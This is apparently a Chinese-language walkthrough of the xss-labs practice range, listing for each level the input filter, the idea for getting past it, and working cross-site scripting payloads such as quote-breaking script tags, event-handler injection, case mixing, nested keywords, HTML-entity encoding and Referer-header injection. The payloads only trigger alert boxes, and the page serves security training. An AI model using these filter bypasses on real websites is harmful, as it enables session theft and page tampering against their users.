靶机
DVWA
Upload-labs
Xss-labs
Pikachu
DC-1
DC-2
DC-3
DC-4
DC-5
DC-6
DC-7
DC-8
DC-9
-
+
首页
Xss-labs
## 下载地址 https://github.com/do0dl3/xss-labs 通过网盘分享的文件:xss-labs-master.zip 链接: https://pan.baidu.com/s/1KWQFyy2ynWkIAERK3aK3-Q?pwd=xbaq 提取码: xbaq ## 第一关 - 无过滤 - 无限制 ## 第二关 **规则:**使用了HTMLspecialchars()函数 <>'"等被转义为HTML字符实体 **思路:**并没有对敏感字符进行编码和过滤,闭合value的引号,以及后面的引号或者再加上右边的//注释原先的"> **Payload:** ```text "><script>alert('xss')</script>// "onmouseover="alert(1) ``` ## 第三关 **规则:**使用了HTMLspecialchars()函数对<>'"等被转义为HTML字符实体 **思路:**使用了,单引号闭合,闭合前后单引号。添加on开头的属性事件,例如:onmouseover,onfocus等 **Payload:** ```text 'onmouseover='alert(1) 'onfocus=javascript:alert('xss') > // ``` ## 第四关 **规则:** 删除了<>等 **思路:**闭合前后双引号,添加属性事件 **Payload:** ```text "onmouseover="alert(1) "onfocus=javascript:alert('xss') // ``` ## 第五关 **规则:** 1. 对 script 的 s 和 r 进⾏了 _ 分隔 2. 对 on 的 o 和 n 进⾏ _ 分隔 3. 全写的转换 **思路:**闭合前后引号,构造新的标签 例如 <a> ,添加事件属性 href **Payload:** ```text "> <a HrEf=javascript:alert('xss') > xss</a> // "><a href=javascript:alert(1)>1</a> ``` ## 第六关 **规则:** 1. <和> 等被编码了 2. script和on字符中被插⼊_破坏语义 3. 构造的<a>标签⽆法使⽤ **思路:**没有进行大小写转换,可以大小写混用 **Payload:** ```text <SCriPt>alert('xss')</scRiPt> "Onmouseover="alert(1) ``` ## 第七关 **规则:** 1. 过滤了(删除)on、script 2. 过滤了(删除)src、data、href 3. 对参数转换为⼩写 **思路:**双写嵌套script,或on **Payload:** ```text "><scriscriptpt>alert(111)</scriscriptpt> "oonnmouseover="alert(1) ``` ## 第八关 **规则:** 1. <和>、"、' 等被编码了 2. script和on字符中被插⼊_破坏语义 3. 构造的<a>标签⽆法使⽤ 4. 对参数转换为⼩写 **思路:**将payload转换为html编码 **Payload:** ```text javascript:a&# x6c;ert(1) ``` ## 第九关 **规则:** 1. <和>、"、' 等被编码了 2. script和on字符中被插⼊_破坏语义 3. 构造的<a>标签⽆法使⽤ 4. 对参数转换为⼩写 5. 判断字符中是否有http://的链接 **思路:**转换为html编码,再加上http://的参数(注释掉) **Payload:** ```text javascript:alert(/xss/)/*http://*/ javascript:alert('xss')//http://www.baidu.com ``` ## 第十关 **规则:** 1. 标签隐藏 2. 删除t_sort参数值中的<和> **思路:**审计元素⾥有type="hidden"属性隐藏域, 隐藏的传参,闭合语句,构造 type 为 text 属性和 oncl ick 事件 尝试每个传参 **Payload:** ```text " type='text' onclick="alert(1) " type='text' onclick="javascript:alert(1) ``` ## 第十一关 **规则:** 1. 标签隐藏 2. 删除t_sort等参数值中的<和> 3. 转义字符 **思路:** 第⼗⼀关,⽐第⼗关多了⼀个 ref的参数,通过服务器返回打印从哪路来,但是传参在js脚本 可以使⽤burp构造referer头,结合 闭合语句 及属性事件。 源码中的input有type="hidden"属性隐藏域,需要构建新的type类型 **Payload:** ```text referer:" type='text' onclick="javascript:alert(1) "type="text" onmouseover="javascript:alert(1) ``` ## 第十二关 数据包内user-agent传参,返还在⻚⾯内 ## 第十三关 和cookie相关 ## 第十四关 iframe调⽤的⽂件来实现xss注⼊ ## 第十五关 ng-app的ng-include包含angular js,引⽤外部⽂件 构造src传参 ```html ?sec='level1.php?name=<img src=1 onerror=alert(1)>' ``` ## 第十六关 **规则:** 1.把script替换为空格 2.转义 3.删除/ 4.空隙会被 填充 **思路:** 使用单标签xss,并使用回车符URL编码%0a 注意:html编码的回车是无效的 HTML编码对标签名 部分属性等无带入 ## 第十七与第十八关 <embed>内嵌入 onclick 或 onmouseover事件
毛林
2025年9月7日 11:42
转发文档
收藏文档
上一篇
下一篇
手机扫码
复制链接
手机扫一扫转发分享
复制链接
Markdown文件
PDF文档(打印)
分享
链接
类型
密码
更新密码